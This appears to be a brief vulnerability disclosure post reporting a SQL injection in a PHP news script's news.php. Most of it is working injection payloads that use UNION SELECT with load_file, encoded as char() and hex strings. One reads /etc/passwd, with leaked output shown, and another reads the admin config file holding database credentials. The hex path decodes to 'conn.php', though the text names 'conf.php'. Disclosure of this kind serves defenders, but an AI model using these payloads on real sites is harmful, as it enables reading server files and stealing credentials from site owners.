hi there there's also another sql injection on this script: news.php?go=fullnews&newsid=-9+union+select+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7%20from%20news_comment/* //result: "This news has 1 comments. Please read, or post one by click here. * 5 (by: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:..................." read the database credentials plain text : news.php?go=fullnews&newsid=-9+union+select+1,2,load_file(0x2F7573722F6C6F63616C2F617061636865322F6874646F63732F64676E6577732F61646D696E2F636F6E6E2E706870),4,5,6,7%20from%20news_comment/* //information is in the source code. * 0x2F7573722F6C6F63616C2F617061636865322F6874646F63732F64676E6577732F61646D696E2F636F6E6E2E706870 = /usr/local/apache2/htdocs/dgnews/admin/conf.php ps: works regardless of php.ini settings . regards laurent gaffie